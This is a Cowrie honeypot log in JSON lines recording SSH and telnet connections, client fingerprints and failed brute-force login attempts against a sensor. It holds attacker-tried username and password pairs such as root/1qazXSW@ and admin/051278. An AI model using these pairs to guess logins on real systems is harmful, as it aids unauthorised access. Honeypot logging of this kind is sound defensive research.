{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:48.955310Z","src_ip":"95.38.165.118","session":"3bb3ec320efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051278","message":"login attempt [admin/051278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:49.384792Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05121995","message":"login attempt [admin/05121995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:50.493213Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:51.390636Z","src_ip":"95.38.165.118","session":"3bb3ec320efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051182","message":"login attempt [admin/051182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:51.600607Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:52.706991Z","src_ip":"2.57.121.112","session":"74c7ddb1478f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37382,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a271f69559","protocol":"ssh","message":"New connection: 95.38.165.118:37382 (10.17.0.5:22) [session: 13a271f69559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:53.987901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:53.993470Z","src_ip":"95.38.165.118","session":"13a271f69559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:54.193146Z","src_ip":"95.38.165.118","session":"13a271f69559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:54.205749Z","src_ip":"95.38.165.118","session":"3bb3ec320efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36284,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6b51bc7067","protocol":"telnet","message":"New connection: 178.128.93.180:36284 (10.17.0.5:23) [session: 1f6b51bc7067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:54.509779Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:54.698140Z","src_ip":"95.38.165.118","session":"13a271f69559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:55.865373Z","src_ip":"95.38.165.118","session":"13a271f69559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.88724875450134,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:56.052533Z","src_ip":"178.128.93.180","session":"5c79739deae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39676,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6bfe6d3bd9e","protocol":"ssh","message":"New connection: 95.38.165.118:39676 (10.17.0.5:22) [session: d6bfe6d3bd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:58.866021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:58.870202Z","src_ip":"95.38.165.118","session":"d6bfe6d3bd9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:59.034381Z","src_ip":"95.38.165.118","session":"d6bfe6d3bd9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:59.536513Z","src_ip":"95.38.165.118","session":"d6bfe6d3bd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:00.706592Z","src_ip":"95.38.165.118","session":"d6bfe6d3bd9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39692,"dst_ip":"10.17.0.5","dst_port":22,"session":"76df0b47159d","protocol":"ssh","message":"New connection: 95.38.165.118:39692 (10.17.0.5:22) [session: 76df0b47159d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:04.918481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:04.924544Z","src_ip":"95.38.165.118","session":"76df0b47159d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:05.112306Z","src_ip":"95.38.165.118","session":"76df0b47159d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:05.601674Z","src_ip":"95.38.165.118","session":"76df0b47159d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:08.217484Z","src_ip":"95.38.165.118","session":"76df0b47159d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.101.149.187","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f9287279b7","protocol":"telnet","message":"New connection: 179.101.149.187:55782 (10.17.0.5:23) [session: f6f9287279b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:09.164978Z"}
{"eventid":"cowrie.session.closed","duration":0.007193803787231445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:09.172029Z","src_ip":"179.101.149.187","session":"f6f9287279b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44094,"dst_ip":"10.17.0.5","dst_port":22,"session":"e255581b45b6","protocol":"ssh","message":"New connection: 95.38.165.118:44094 (10.17.0.5:22) [session: e255581b45b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:09.180405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:09.195714Z","src_ip":"95.38.165.118","session":"e255581b45b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:09.387081Z","src_ip":"95.38.165.118","session":"e255581b45b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:10.402799Z","src_ip":"95.38.165.118","session":"e255581b45b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:11.996953Z","src_ip":"95.38.165.118","session":"e255581b45b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":38290,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f1ebeabd36d","protocol":"ssh","message":"New connection: 51.250.105.222:38290 (159.203.135.109:22) [session: 5f1ebeabd36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:13.289308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:13.296883Z","src_ip":"51.250.105.222","session":"5f1ebeabd36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:13.430592Z","src_ip":"51.250.105.222","session":"5f1ebeabd36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:13.827806Z","src_ip":"51.250.105.222","session":"5f1ebeabd36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44100,"dst_ip":"10.17.0.5","dst_port":22,"session":"de47d3053134","protocol":"ssh","message":"New connection: 95.38.165.118:44100 (10.17.0.5:22) [session: de47d3053134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:13.833188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:13.838575Z","src_ip":"95.38.165.118","session":"de47d3053134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:14.011197Z","src_ip":"95.38.165.118","session":"de47d3053134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:14.961334Z","src_ip":"51.250.105.222","session":"5f1ebeabd36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:15.004795Z","src_ip":"95.38.165.118","session":"de47d3053134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:17.817534Z","src_ip":"95.38.165.118","session":"de47d3053134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53640,"dst_ip":"10.17.0.5","dst_port":22,"session":"195836e60cd1","protocol":"ssh","message":"New connection: 95.38.165.118:53640 (10.17.0.5:22) [session: 195836e60cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:19.200960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:19.205700Z","src_ip":"95.38.165.118","session":"195836e60cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:19.375971Z","src_ip":"95.38.165.118","session":"195836e60cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:19.887836Z","src_ip":"95.38.165.118","session":"195836e60cd1","protocol":"ssh"}
